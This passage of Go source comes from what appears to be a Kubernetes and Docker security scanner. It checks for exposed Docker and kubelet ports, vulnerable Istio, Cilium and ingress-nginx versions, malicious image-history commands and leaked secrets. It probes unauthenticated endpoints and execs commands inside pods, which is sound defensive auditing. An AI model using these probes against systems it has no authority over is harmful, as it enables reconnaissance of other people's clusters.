Severity: "high",
}
tlist = append(tlist, th)
vuln = true
}
return vuln, tlist
}
func checkImageUsed(config *types.ContainerJSON, vulnContainers []*container) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
imageMixed := strings.Split(config.Image, ":")
imageID := imageMixed[1][:12]
for _, v := range vulnContainers {
if strings.Contains(v.ContainerName, "Image Configuration") {
for _, ids := range v.Threats {
if strings.Contains(ids.Value, imageID) {
th := &threat{
Param: "Dangerous image",
Value: fmt.Sprintf("Image ID: %s", imageID),
Describe: "Docker container used dangerous image.",
Severity: ids.Severity,
}
tlist = append(tlist, th)
vuln = true
break
}
}
}
}
return vuln, tlist
}
func checkDockerUnauthorized() (bool, []*threat) {
log.Printf(_config.Yellow("Begin unauthorized analyzing"))
var vuln = false
tlist := []*threat{}
client := &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
var request *http.Request
request, err := http.NewRequest("GET", "http://0.0.0.0:2375/info", nil)
if err != nil {
return vuln, tlist
}
resp, err := client.Do(request)
if err != nil {
return vuln, tlist
}
defer resp.Body.Close()
content, err := ioutil.ReadAll(resp.Body)
if err != nil {
return vuln, tlist
}
value := gjson.Parse(string(content))
if value.Get("Containers").Value() != nil {
th := &threat{
Param: "Docker unauthorized",
Value: "0.0.0.0:2375",
Describe: "Exporting 2375 port is suffering the container escape.",
Reference: "Delete row which contained `tcp://0.0.0.0:2375`.",
Severity: "critical",
}
tlist = append(tlist, th)
vuln = true
}
return vuln, tlist
}
func checkImages(images []*_image.ImageInfo) (bool, []*threat) {
log.Printf(_config.Yellow("Begin image analyzing"))
var vuln = false
tlist := []*threat{}
for _, image := range images {
if len(image.Summary.RepoTags) < 1 {
sha := strings.Split(image.Summary.ID, ":")[1]
th := &threat{
Param: "Image ID",
Value: sha[:12],
Describe: fmt.Sprintf("Image Id %s is not tagged, suspectable image.", sha[:12]),
Severity: "low",
}
tlist = append(tlist, th)
vuln = true
continue
}
repoTag := strings.Split(image.Summary.RepoTags[0], ":")
if len(repoTag) > 1 && repoTag[1] == "latest" {
th := &threat{
Param: "Image Name",
Value: image.Summary.RepoTags[0],
Describe: "Using the latest tag will be suffered potential image hijack.",
Severity: "low",
}
tlist = append(tlist, th)
vuln = true
}
}
return vuln, tlist
}
================================================
FILE: internal/analyzer/docker_history.go
================================================
package analyzer
import (
"fmt"
"log"
"regexp"
"strings"
imagev1 "github.com/docker/docker/api/types/image"
_config "github.com/kvesta/vesta/config"
_image "github.com/kvesta/vesta/pkg/inspector"
)
func CheckHistories(images []*_image.ImageInfo) (bool, []*threat) {
log.Printf(_config.Yellow("Begin image histories analyzing"))
var vuln = false
tlist := []*threat{}
echoReg := regexp.MustCompile(`echo ["|'](.*?)["|']`)
for _, img := range images {
env := getEnv(img.History)
// Check the sensitive environment
if ok, tl := checkEnv(env); ok {
for _, th := range tl {
th.Value = fmt.Sprintf("Image name: %s | "+
"Image ID: %s", img.Summary.RepoTags[0],
strings.TrimPrefix(img.Summary.ID, "sha256:")[:12])
tlist = append(tlist, th)
}
vuln = true
}
for _, layer := range img.History {
pruneLayerAfter1 := strings.TrimPrefix(layer.CreatedBy, "/bin/sh -c ")
pruneLayerAfter2 := strings.TrimPrefix(pruneLayerAfter1, "#(nop)")
pruneLayer := strings.TrimSpace(pruneLayerAfter2)
link := strings.Split(pruneLayer, " ")[0]
switch link {
case "CMD", "ADD", "ARG", "LABEL", "COPY", "EXPOSE", "ENTRYPOINT", "USER":
continue
case "WORKDIR":
// Check CVE-2024-21626
values := strings.Split(pruneLayer, " ")
if cveRuncRegex.MatchString(values[1]) {
th := &threat{
Param: "Image History",
Value: fmt.Sprintf("Image name: %s | "+
"Image ID: %s", img.Summary.RepoTags[0],
strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]),
Describe: "Detected malicious image based on CVE-2024-21626, " +
"which has a link of /proc/self/fd.",
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
}
case "ENV":
values := strings.Split(pruneLayer, "=")
detect := maliciousContentCheck(values[1])
switch detect.Types {
case Executable:
th := &threat{
Param: "Image History",
Value: fmt.Sprintf("Image name: %s | "+
"Image ID: %s", img.Summary.RepoTags[0],
strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]),
Describe: fmt.Sprintf("Executable value found in ENV: '%s' "+
"with the plain text '%s'.", strings.TrimPrefix(values[0], "ENV "), detect.Plain),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
case Confusion:
th := &threat{
Param: "Image History",
Value: fmt.Sprintf("Image name: %s | "+
"Image ID: %s", img.Summary.RepoTags[0],
strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]),
Describe: fmt.Sprintf("Confusion value found in ENV: '%s' "+
"with the plain text '%s'.", strings.TrimPrefix(values[0], "ENV "), detect.Plain),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
default:
// ignore
}
continue
}
commands := strings.Split(pruneLayer, "&&")
for _, cmd := range commands {
detectCmd := maliciousContentCheck(strings.TrimSpace(cmd))
if detectCmd.Types > Unknown {
th := &threat{
Param: "Image History",
Value: fmt.Sprintf("Image name: %s | "+
"Image ID: %s", img.Summary.RepoTags[0],
strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]),
Describe: fmt.Sprintf("Malicious cmd found in RUN: '%s' "+
"with the plain text '%s'.", cmd, detectCmd.Plain),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
continue
}
// Check the content of `echo` command
echoMatch := echoReg.FindStringSubmatch(cmd)
if len(echoMatch) > 1 {
detectEcho := maliciousContentCheck(echoMatch[1])
if detectEcho.Types > Unknown {
th := &threat{
Param: "Image History",
Value: fmt.Sprintf("Image name: %s | "+
"Image ID: %s", img.Summary.RepoTags[0],
strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]),
Describe: fmt.Sprintf("Malicious value found in RUN: '%s' "+
"with the plain text '%s'.", cmd, detectEcho.Plain),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
continue
}
pass := echoPass(echoMatch[1], env)
if len(pass) < 1 {
continue
}
switch checkWeakPassword(pass) {
case "Weak":
th := &threat{
Param: "Image History",
Value: fmt.Sprintf("Image name: %s | "+
"Image ID: %s", img.Summary.RepoTags[0],
strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]),
Describe: fmt.Sprintf("Weak password found in command: '%s' "+
"with the password '%s'.", cmd, pass),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
case "Medium":
th := &threat{
Param: "Image History",
Value: fmt.Sprintf("Image name: %s | "+
"Image ID: %s", img.Summary.RepoTags[0],
strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]),
Describe: fmt.Sprintf("Password need need to be reinforeced, found in command: '%s'.", cmd),
Severity: "medium",
}
tlist = append(tlist, th)
vuln = true
}
}
}
}
}
return vuln, tlist
}
func echoPass(cmd string, env map[string]string) string {
var pass string
match := false
for _, p := range passKey {
if p.MatchString(cmd) {
match = true
break
}
}
if !match {
return pass
}
prune := strings.TrimSpace(cmd)
if len(strings.Split(prune, "=")) > 1 {
pass = strings.Split(prune, "=")[1]
} else if len(strings.Split(prune, ":")) > 1 {
pass = strings.Split(prune, ":")[1]
}
pass = strings.TrimSpace(pass)
// Get true value from format `${env}`
envReg := regexp.MustCompile(`\${(.*)}`)
envMatch := envReg.FindStringSubmatch(pass)
if len(envMatch) > 1 {
if value, ok := env[envMatch[1]]; ok {
pass = value
}
}
return pass
}
func getEnv(images []imagev1.HistoryResponseItem) map[string]string {
env := map[string]string{}
for _, layer := range images {
pruneLayerAfter1 := strings.TrimPrefix(layer.CreatedBy, "/bin/sh -c ")
pruneLayerAfter2 := strings.TrimPrefix(pruneLayerAfter1, "#(nop)")
pruneLayer := strings.TrimSpace(pruneLayerAfter2)
link := strings.Split(pruneLayer, " ")[0]
if link != "ENV" {
continue
}
envLayer := strings.TrimPrefix(pruneLayer, "ENV ")
e := strings.Split(envLayer, "=")
env[e[0]] = e[1]
}
return env
}
func checkEnv(env map[string]string) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
for key, value := range env {
for _, p := range passKey {
if p.MatchString(key) {
th := &threat{
Param: "Image History",
Describe: fmt.Sprintf("Docker history has found the senstive environment"+
" with key '%s' and value: %s.", key, value),
Severity: "medium",
}
tlist = append(tlist, th)
vuln = true
break
}
}
}
return vuln, tlist
}
================================================
FILE: internal/analyzer/k8s_cni.go
================================================
package analyzer
import (
"bytes"
"context"
"crypto/tls"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"log"
"net/http"
"os"
"path/filepath"
"regexp"
"runtime"
"strings"
"time"
"github.com/kvesta/vesta/config"
"github.com/kvesta/vesta/pkg/vulnlib"
"github.com/shirou/gopsutil/process"
"github.com/tidwall/gjson"
"gopkg.in/yaml.v3"
v1 "k8s.io/api/core/v1"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
"k8s.io/client-go/kubernetes/scheme"
"k8s.io/client-go/tools/remotecommand"
)
func (ks *KScanner) checkCNI() error {
// Init database
vulnCli := vulnlib.Client{}
err := vulnCli.Init()
if err != nil {
log.Printf("init database failed, %v", err)
}
// Check Envoy configuration
if ok, tlist := checkEnvoy(); ok {
ks.VulnConfigures = append(ks.VulnConfigures, tlist...)
}
// Check cilium
if ok, tlist := ks.checkCilium(vulnCli); ok {
ks.VulnConfigures = append(ks.VulnConfigures, tlist...)
}
// Check istio
if ok, tlist := ks.checkIstio(vulnCli); ok {
ks.VulnConfigures = append(ks.VulnConfigures, tlist...)
}
// Check ingress-nginx
if ok, tlist := ks.checkIngressNginx(vulnCli); ok {
ks.VulnConfigures = append(ks.VulnConfigures, tlist...)
}
// Check kubelet port
if ok, tlist := ks.checkKubelet(); ok {
ks.VulnConfigures = append(ks.VulnConfigures, tlist...)
}
// Check kubectl proxy using
if ok, tlist := checkKubectlProxy(); ok {
ks.VulnConfigures = append(ks.VulnConfigures, tlist...)
}
// Check etcd configuration
if ok, tlist := ks.checkEtcd(); ok {
ks.VulnConfigures = append(ks.VulnConfigures, tlist...)
}
return nil
}
func checkEnvoy() (bool, []*threat) {
log.Printf(config.Yellow("Begin Envoy analyzing"))
var vuln = false
tlist := []*threat{}
type envoyAdmin struct {
Admin struct {
Address struct {
SocketAddress struct {
Address string `yaml:"address" json:"address"`
PortValue string `yaml:"port_value" json:"port_value"`
} `yaml:"socket_address" json:"socket_address"`
} `yaml:"address" json:"address"`
} `yaml:"admin" json:"admin"`
}
// Only supports Linux
if runtime.GOOS != "linux" {
return vuln, tlist
}
var filename string
var envoyConfig envoyAdmin
// Check process or docker to find envoy
processes, _ := process.Processes()
for _, ps := range processes {
cmds, _ := ps.CmdlineSlice()
if len(cmds) < 1 {
continue
}
if !strings.Contains(cmds[0], "envoy") {
continue
}
cwd := fmt.Sprintf("/proc/%d/cwd/", ps.Pid)
// Get the name of config file
for i, p := range cmds {
if p == "-c" {
filename = cmds[i+1]
break
}
}
configFile := filepath.Join(cwd, filename)
// Judge file type
fileSplit := strings.Split(configFile, ".")
fileType := fileSplit[len(fileSplit)-1]
f, err := os.Open(configFile)
if err != nil {
continue
}
config, err := io.ReadAll(f)
if err != nil {
f.Close()
continue
}
f.Close()
switch fileType {
case "yaml":
err = yaml.Unmarshal(config, &envoyConfig)
if err != nil {
continue
}
case "json":
err = json.Unmarshal(config, &envoyConfig)
if err != nil {
continue
}
default:
continue
}
if envoyConfig != (envoyAdmin{}) {
address := envoyConfig.Admin.Address.SocketAddress.Address
port := envoyConfig.Admin.Address.SocketAddress.PortValue
envoyCommand := strings.Join(cmds[1:], " ")
if len(envoyCommand) > 80 {
envoyCommand = "envoy " + envoyCommand[:80] + "..."
} else {
envoyCommand = strings.Join(cmds, " ")
}
th := &threat{
Param: "admin",
Value: fmt.Sprintf("Pid:%d Command: \"%s\"", ps.Pid, envoyCommand),
Type: "Envoy",
Describe: fmt.Sprintf("Envoy admin is activated and exposed to '%s:%s', "+
"which includes sensitive api and unauthorized.", address, port),
Reference: "https://www.envoyproxy.io/docs/envoy/latest/operations/admin#administration-interface",
Severity: "medium",
}
if address == "0.0.0.0" {
th.Severity = "high"
}
tlist = append(tlist, th)
vuln = true
}
}
return vuln, tlist
}
func (ks *KScanner) checkIstio(vulnCli vulnlib.Client) (bool, []*threat) {
log.Printf(config.Yellow("Begin Istio analyzing"))
var vuln = false
tlist := []*threat{}
// Get istio deployment
dp, err := ks.KClient.
AppsV1().
Deployments("istio-system").
Get(context.Background(), "istiod", metav1.GetOptions{})
if err != nil {
if strings.Contains(err.Error(), "not found") {
return vuln, tlist
}
log.Printf("check istio version failed, %v", err)
return vuln, tlist
}
if dp == nil {
return vuln, tlist
}
// Check istio version
imageName := dp.Spec.Template.Spec.Containers[0].Image
versionRegex := regexp.MustCompile(`(\d+\.)?(\d+\.)?(\*|\d+)`)
versionMatch := versionRegex.FindStringSubmatch(imageName)
if len(versionMatch) < 2 {
return vuln, tlist
}
istioVersion := versionMatch[0]
rows, err := vulnCli.QueryVulnByName("istio")
if err != nil {
log.Printf("check envoy version failed, %v", err)
return vuln, tlist
}
for _, row := range rows {
if compareVersion(istioVersion, row.MaxVersion, row.MinVersion) {
var description string
if len(row.Description) > 100 {
description = fmt.Sprintf("%s ... Reference: %s", row.Description[:100], row.CVEID)
} else {
description = fmt.Sprintf("%s ... Reference: %s", row.Description, row.CVEID)
}
th := &threat{
Param: "Istio version",
Value: fmt.Sprintf("%s < %s", istioVersion, row.MaxVersion),
Type: "Istio",
Describe: description,
Reference: fmt.Sprintf("https://nvd.nist.gov/vuln/detail/%s", row.CVEID),
Severity: strings.ToLower(row.Level),
}
tlist = append(tlist, th)
vuln = true
}
}
return vuln, tlist
}
func (ks *KScanner) checkIstioHeader(podname, ns, cname string) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
cmd := []string{
"curl",
"http://httpbin.org/get",
}
req := ks.KClient.CoreV1().RESTClient().Post().
Resource("pods").
Name(podname).
Namespace(ns).SubResource("exec").Param("container", cname)
option := &v1.PodExecOptions{
Command: cmd,
Stdin: false,
Stdout: true,
Stderr: true,
TTY: false,
}
req.VersionedParams(
option,
scheme.ParameterCodec,
)
var stdout, stderr bytes.Buffer
exec, err := remotecommand.NewSPDYExecutor(ks.KConfig, "POST", req.URL())
if err != nil {
return vuln, tlist
}
err = exec.Stream(remotecommand.StreamOptions{
Stdin: nil,
Stdout: &stdout,
Stderr: &stderr,
})
if err != nil {
return vuln, tlist
}
data := strings.TrimSpace(stdout.String())
headers := gjson.Get(data, "headers").Value()
if headers == nil {
return vuln, tlist
}
if _, ok := headers.(map[string]interface{})["X-Envoy-Peer-Metadata"]; ok {
th := &threat{
Param: "istio header",
Value: "X-Envoy-Peer-Metadata, X-Envoy-Peer-Metadata-Id",
Type: "Istio",
Describe: "Istio detected and request header " +
"is leaking sensitive information",
Reference: "https://github.com/istio/istio/issues/17635",
Severity: "low",
}
tlist = append(tlist, th)
vuln = true
}
return vuln, tlist
}
func (ks *KScanner) checkCilium(vulnCli vulnlib.Client) (bool, []*threat) {
log.Printf(config.Yellow("Begin Cilium analyzing"))
var vuln = false
tlist := []*threat{}
// Get cilium deployment
dp, err := ks.KClient.
AppsV1().
Deployments("kube-system").
Get(context.Background(), "cilium-operator", metav1.GetOptions{})
if err != nil {
if strings.Contains(err.Error(), "not found") {
return vuln, tlist
}
log.Printf("check envoy version failed, %v", err)
return vuln, tlist
}
if dp == nil {
return vuln, tlist
}
// Check cilium version
imageName := dp.Spec.Template.Spec.Containers[0].Image
imageRegexp := regexp.MustCompile(`\A(.*?)(?:(:.*?)(@sha256:[0-9a-f]{64})?)?\z`)
versionMatch := imageRegexp.FindStringSubmatch(imageName)
if len(versionMatch) < 2 {
return vuln, tlist
}
ciliumVersion := versionMatch[2][1:]
rows, err := vulnCli.QueryVulnByName("cilium")
if err != nil {
log.Printf("check envoy version failed, %v", err)
return vuln, tlist
}
for _, row := range rows {
if compareVersion(ciliumVersion, row.MaxVersion, row.MinVersion) {
var description string
if len(row.Description) > 200 {
description = fmt.Sprintf("%s ... Reference: %s", row.Description[:100], row.CVEID)
} else {
description = fmt.Sprintf("%s ... Reference: %s", row.Description[:100], row.CVEID)
}
th := &threat{
Param: "Cilium version",
Value: fmt.Sprintf("%s < %s", ciliumVersion, row.MaxVersion),
Type: "Cilium",
Describe: description,
Reference: fmt.Sprintf("https://nvd.nist.gov/vuln/detail/%s", row.CVEID),
Severity: strings.ToLower(row.Level),
}
tlist = append(tlist, th)
vuln = true
}
}
return vuln, tlist
}
func (ks *KScanner) checkIngressNginx(vulnCli vulnlib.Client) (bool, []*threat) {
log.Printf(config.Yellow("Begin Nginx Ingress analyzing"))
var vuln = false
tlist := []*threat{}
// Get istio deployment
dp, err := ks.KClient.
AppsV1().
Deployments("ingress-nginx").
Get(context.Background(), "ingress-nginx-controller", metav1.GetOptions{})
if err != nil {
if strings.Contains(err.Error(), "not found") {
return vuln, tlist
}
log.Printf("check envoy version failed, %v", err)
return vuln, tlist
}
if dp == nil {
return vuln, tlist
}
// Check nginx ingress version
imageName := dp.Spec.Template.Spec.Containers[0].Image
imageRegexp := regexp.MustCompile(`\A(.*?)(?:(:.*?)(@sha256:[0-9a-f]{64})?)?\z`)
versionMatch := imageRegexp.FindStringSubmatch(imageName)
if len(versionMatch) < 2 {
return vuln, tlist
}
nginxIngressVersion := versionMatch[2][1:]
rows, err := vulnCli.QueryVulnByName("ingress-nginx")
if err != nil {
log.Printf("check envoy version failed, %v", err)
return vuln, tlist
}
for _, row := range rows {
if compareVersion(nginxIngressVersion, row.MaxVersion, row.MinVersion) {
var description string
if len(row.Description) > 200 {
description = fmt.Sprintf("%s ... Reference: %s", row.Description[:100], row.CVEID)
} else {
description = fmt.Sprintf("%s ... Reference: %s", row.Description[:100], row.CVEID)
}
th := &threat{
Param: "Ingress nginx version",
Value: fmt.Sprintf("%s < %s", nginxIngressVersion, row.MaxVersion),
Type: "Ingress Nginx",
Describe: description,
Reference: fmt.Sprintf("https://nvd.nist.gov/vuln/detail/%s", row.CVEID),
Severity: strings.ToLower(row.Level),
}
tlist = append(tlist, th)
vuln = true
}
}
// Temporary hardcoded vulnerability comparison before re-integrating CVE database
if compareVersion(nginxIngressVersion, "v1.12.1", "v1.12.0") || compareVersion(nginxIngressVersion, "v1.11.5", "0.0") {
th := &threat{
Param: "Nginx Ingress Controller RCE",
Value: fmt.Sprintf("%s < v1.12.1 or %s < v1.11.5", nginxIngressVersion, nginxIngressVersion),
Type: "Ingress Nginx",
Severity: "critical",
Describe: "NGINX Ingress Controller version is vulnerable to CVE-2025-1974, " +
"which can be exploited to gain remote code execution.",
Reference: "https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities",
}
vuln = true
// Analyze ingress-nginx-controller's args to check if controller.admissionWebhooks.enabled is set to false
// Find the ingress-nginx-controller container in the deployment
hasValidating, admissionWebhooksDisabled := false, false
for _, container := range dp.Spec.Template.Spec.Containers {
if container.Name == "controller" || strings.Contains(container.Name, "ingress-nginx-controller") {
for _, arg := range container.Args {
if strings.HasPrefix(arg, "--controller.admissionWebhooks.enabled=") {
val := strings.TrimPrefix(arg, "--controller.admissionWebhooks.enabled=")
if val == "false" {
admissionWebhooksDisabled = true
th.Severity = "low"
th.Describe = "The controller.admissionWebhooks.enabled argument is set to false in the ingress-nginx-controller container, which mitigates CVE-2025-1974 risk."
}
}
if strings.Contains(arg, "--validating-webhook") {
hasValidating = true
}
}
}
if admissionWebhooksDisabled {
break
}
}
if !hasValidating {
vuln = false
}
if vuln {
tlist = append(tlist, th)
}
}
return vuln, tlist
}
func (ks *KScanner) checkKubelet() (bool, []*threat) {
log.Printf(config.Yellow("Begin Kubelet analyzing"))
var vuln = false
tlist := []*threat{}
// Only supports Linux
if runtime.GOOS != "linux" {
return vuln, tlist
}
processes, _ := process.Processes()
for _, ps := range processes {
cmds, _ := ps.CmdlineSlice()
if len(cmds) < 1 {
continue
}
if !strings.Contains(cmds[0], "kubelet") {
continue
}
for _, cmd := range cmds {
if strings.Contains(cmd, "--read-only-port=") {
th := &threat{
Param: "Kubelet 'read-only-port' is opened",
Value: cmd,
Type: "Kubelet",
Describe: "Kubelet 'read-only-port' is opened and unauthorized, " +
"which has a sensitive data leakage.",
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
}
}
}
// Check 10250 and 10255 unauthorized
for nodeName, node := range ks.MasterNodes {
if ok, ts := checkKubeletUnauthorized(node.InternalIP); ok {
for _, t := range ts {
t.Param += fmt.Sprintf(" | Node Name: '%s' | Node Interal IP: %s", nodeName, node.InternalIP)
}
vuln = true
tlist = append(tlist, ts...)
}
}
return vuln, tlist
}
func checkKubeletUnauthorized(ip string) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
ports := []int{10255, 10250}
client := &http.Client{
Timeout: 30 * time.Second,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
for _, port := range ports {
url := fmt.Sprintf("https://%s:%d/pods/", ip, port)
request, err := http.NewRequest("GET", url, nil)
if err != nil {
continue
}
resp, err := client.Do(request)
if err != nil {
continue
}
content, err := ioutil.ReadAll(resp.Body)
if err != nil {
continue
}
if len(content) > 100 && strings.Contains(string(content), "apiVersion") {
th := &threat{
Param: fmt.Sprintf("Kubelet port: '%d' unauthorized", port),
Value: fmt.Sprintf("Unauthorized, check the url: %s", url),
Type: "Kubelet",
Describe: fmt.Sprintf("Kubelet port: '%d' unauthorized, "+
"which leak all the information to the anonymous.", port),
Severity: "high",
}
vuln = true
tlist = append(tlist, th)
}
resp.Body.Close()
}
return vuln, tlist
}
func checkKubectlProxy() (bool, []*threat) {
log.Printf(config.Yellow("Begin Kubectl proxy analyzing"))
var vuln = false
tlist := []*threat{}
processes, _ := process.Processes()
for _, ps := range processes {
cmds, _ := ps.CmdlineSlice()
if len(cmds) < 1 {
continue
}
if !strings.Contains(cmds[0], "kubectl") {
continue
}
// Skip the kuebctl command which is not includes proxy
if cmds[1] != "proxy" {
continue
}
kubectlCommand := strings.Join(cmds[2:], " ")
if len(kubectlCommand) > 50 {
kubectlCommand = "kubectl proxy " + kubectlCommand[:50] + "..."
} else {
kubectlCommand = strings.Join(cmds[:], " ")
}
for i, cmd := range cmds {
if strings.Contains(cmd, "--address") {
var address string
if strings.Contains(cmd, "=") {
address = strings.Split(cmd, "=")[1]
} else {
address = cmds[i+1]
}
if address == "localhost" || address == "127.0.0.1" {
break
}
th := &threat{
Param: "Kubectl proxy",
Value: kubectlCommand,
Type: "Kubectl",
Describe: fmt.Sprintf("Kubectl proxy command is used "+
"and the exposed address is '%s', "+
"which will cause unauthorized vulnerability.", address),
Severity: "medium",
}
tlist = append(tlist, th)
vuln = true
}
}
if !vuln {
th := &threat{
Param: "Kubectl proxy",
Value: kubectlCommand,
Type: "Kubectl",
Describe: "Kubectl proxy command is used " +
"which will cause unauthorized vulnerability.",
Severity: "low",
}
tlist = append(tlist, th)
vuln = true
}
}
return vuln, tlist
}
func (ks *KScanner) checkEtcd() (bool, []*threat) {
log.Printf(config.Yellow("Begin Etcd analyzing"))
var vuln = false
tlist := []*threat{}
pods, err := ks.KClient.CoreV1().Pods("kube-system").List(context.TODO(), metav1.ListOptions{})
if err != nil {
return vuln, tlist
}
configs := map[string]bool{"client-cert-auth": false,
"peer-client-cert-auth": false}
hasEtcd := false
for _, pod := range pods.Items {
if !strings.Contains(pod.Name, "etcd") {
continue
}
hasEtcd = true
commands := pod.Spec.Containers[0].Command
for _, command := range commands {
if command == "--client-cert-auth=true" {
configs["client-cert-auth"] = true
}
if command == "--peer-client-cert-auth=true" {
configs["peer-client-cert-auth"] = true
}
}
}
if !configs["client-cert-auth"] && hasEtcd {
th := &threat{
Param: "Etcd configuration",
Value: "--client-cert-auth",
Type: "Etcd",
Describe: "Etcd config lacks `client-cert-auth`, " +
"which has a potential container escape.",
Severity: "high",
}
if !configs["peer-client-cert-auth"] {
th.Value += " --peer-client-cert-auth"
th.Describe = "Etcd config lacks `client-cert-auth` " +
"and `peer-client-cert-auth`, which has a potential container escape."
th.Reference = "https://workbench.cisecurity.org/files/3371"
}
tlist = append(tlist, th)
vuln = true
} else if !configs["peer-client-cert-auth"] && hasEtcd {
th := &threat{
Param: "Etcd configuration",
Value: "--peer-client-cert-auth",
Type: "Etcd",
Describe: "Etcd config lacks `peer-client-cert-auth`. " +
"All peers attempting to communicate with the etcd server " +
"will require a valid client certificate for authentication.",
Reference: "https://workbench.cisecurity.org/files/3371",
Severity: "medium",
}
tlist = append(tlist, th)
vuln = true
}
return vuln, tlist
}
================================================
FILE: internal/analyzer/k8s_configuration.go
================================================
package analyzer
import (
"context"
"fmt"
"log"
"os/exec"
"strings"
"time"
"github.com/docker/docker/client"
version2 "github.com/hashicorp/go-version"
"github.com/kvesta/vesta/config"
"github.com/kvesta/vesta/pkg/inspector"
"github.com/kvesta/vesta/pkg/osrelease"
"github.com/kvesta/vesta/pkg/vulnlib"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
"k8s.io/client-go/tools/clientcmd"
certutil "k8s.io/client-go/util/cert"
)
func (ks *KScanner) getNodeInfor(ctx context.Context) error {
nodes, err := ks.KClient.
CoreV1().
Nodes().List(context.TODO(), metav1.ListOptions{})
if err != nil {
return err
}
ks.MasterNodes = make(map[string]*nodeInfo)
for _, node := range nodes.Items {
rolesInfo := &nodeInfo{
IsMaster: false,
InternalIP: node.Status.Addresses[0].Address,
}
for role, _ := range node.Labels {
if strings.HasPrefix(role, "node-role.kubernetes") {
roleName := strings.Split(role, "/")[1]
if roleName == "master" {
rolesInfo.IsMaster = true
}
}
}
rolesInfo.Role = node.Labels
ks.MasterNodes[node.Name] = rolesInfo
}
return nil
}
func (ks *KScanner) dockershimCheck(ctx context.Context) error {
cli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation())
if err != nil {
return err
}
c := inspector.DockerApi{
DCli: cli,
}
vulnCli := vulnlib.Client{}
err = vulnCli.Init()
if err != nil {
return err
}
serverVersion, _ := c.GetDockerServerVersion(ctx)
c.DCli.Close()
// Checking kernel version
kernelVersion, err := osrelease.GetKernelVersion(context.Background())
if err != nil {
log.Printf("failed to get kernel version: %v", err)
}
if ok, tlist := checkKernelVersion(vulnCli, kernelVersion); ok {
ks.VulnConfigures = append(ks.VulnConfigures, tlist...)
}
// Check Docker server version
if ok, tlist := checkDockerVersion(vulnCli, serverVersion); ok {
ks.VulnConfigures = append(ks.VulnConfigures, tlist...)
}
// Check Kubernetes version
if ok, tlist := checkK8sVersion(vulnCli, ks.Version); ok {
ks.VulnConfigures = append(ks.VulnConfigures, tlist...)
}
return nil
}
// kernelCheck get /proc/version directly for non-Docker-Desktop
func (ks *KScanner) kernelCheck(ctx context.Context) error {
cmd := exec.Command("cat", "/proc/version")
stdout, err := cmd.Output()
if err != nil {
return err
}
vulnCli := vulnlib.Client{}
err = vulnCli.Init()
if err != nil {
return err
}
kernelVersion := osrelease.KernelParse(string(stdout))
if ok, tlist := checkKernelVersion(vulnCli, kernelVersion); ok {
for _, th := range tlist {
th.Type = "K8s kernel version"
}
ks.VulnConfigures = append(ks.VulnConfigures, tlist...)
}
if ok, tlist := checkK8sVersion(vulnCli, ks.Version); ok {
ks.VulnConfigures = append(ks.VulnConfigures, tlist...)
}
return nil
}
func (ks *KScanner) checkPersistentVolume() error {
log.Printf(config.Yellow("Begin PV and PVC analyzing"))
tlist := []*threat{}
pvs, err := ks.KClient.
CoreV1().
PersistentVolumes().
List(context.TODO(), metav1.ListOptions{})
if err != nil {
log.Printf("list persistentvolumes failed: %v", err)
return err
}
for _, pv := range pvs.Items {
// Check whether using the host mount
if pv.Spec.HostPath == nil {
continue
}
//pvPath := filepath.Dir(pv.Spec.HostPath.Path)
pvPath := pv.Spec.HostPath.Path
if isVuln := checkMountPath(pvPath); isVuln {
th := &threat{
Param: pv.Name,
Value: pvPath,
Type: "PersistentVolume",
Describe: fmt.Sprintf("Mount path '%s' is suffer vulnerable of "+
"container escape and it is in using", pvPath),
Severity: "critical",
}
// Check whether it is in using
if pv.Status.Phase != "Bound" {
th.Severity = "medium"
th.Describe = fmt.Sprintf("Mount path '%s' is suffer vulnerable of "+
"container escape but the status is '%s'", pvPath, pv.Status.Phase)
}
tlist = append(tlist, th)
}
}
ks.VulnConfigures = append(ks.VulnConfigures, tlist...)
return nil
}
type RBACVuln struct {
Severity string
ClusterRoleBinding string
RoleBinding string
}
// checkPod check pod privileged and configure of server account
func (ks *KScanner) checkPod(ns string) error {
if ns == "kubernetes-dashboard" {
return ks.checkKuberDashboard()
}
pods, err := ks.KClient.
CoreV1().
Pods(ns).
List(context.TODO(), metav1.ListOptions{})
if err != nil {
return err
}
rv := ks.getRBACVulnType(ns)
for _, pod := range pods.Items {
vList := ks.podAnalyze(pod.Spec, rv, ns, pod.Name)
// Check pod annotations
if ok, tlist := checkPodAnnotation(pod.Annotations); ok {
vList = append(vList, tlist...)
}
if len(vList) > 0 {
sortSeverity(vList)
con := &container{
ContainerName: pod.Name,
Namepsace: ns,
Status: string(pod.Status.Phase),
NodeName: pod.Spec.NodeName,
Threats: vList,
}
ks.VulnContainers = append(ks.VulnContainers, con)
}
}
return nil
}
func (ks *KScanner) checkPodSecurityPolicy() error {
log.Printf(config.Yellow("Begin PodSecurityPolicy analyzing"))
psps, err := ks.KClient.
PolicyV1beta1().
PodSecurityPolicies().
List(context.TODO(), metav1.ListOptions{})
if err != nil {
return err
}
for _, psp := range psps.Items {
if psp.Spec.Privileged {
th := &threat{
Param: fmt.Sprintf("Policy Name: %s", psp.Name),
Value: "Privileged",
Type: "PodSecurityPolicy",
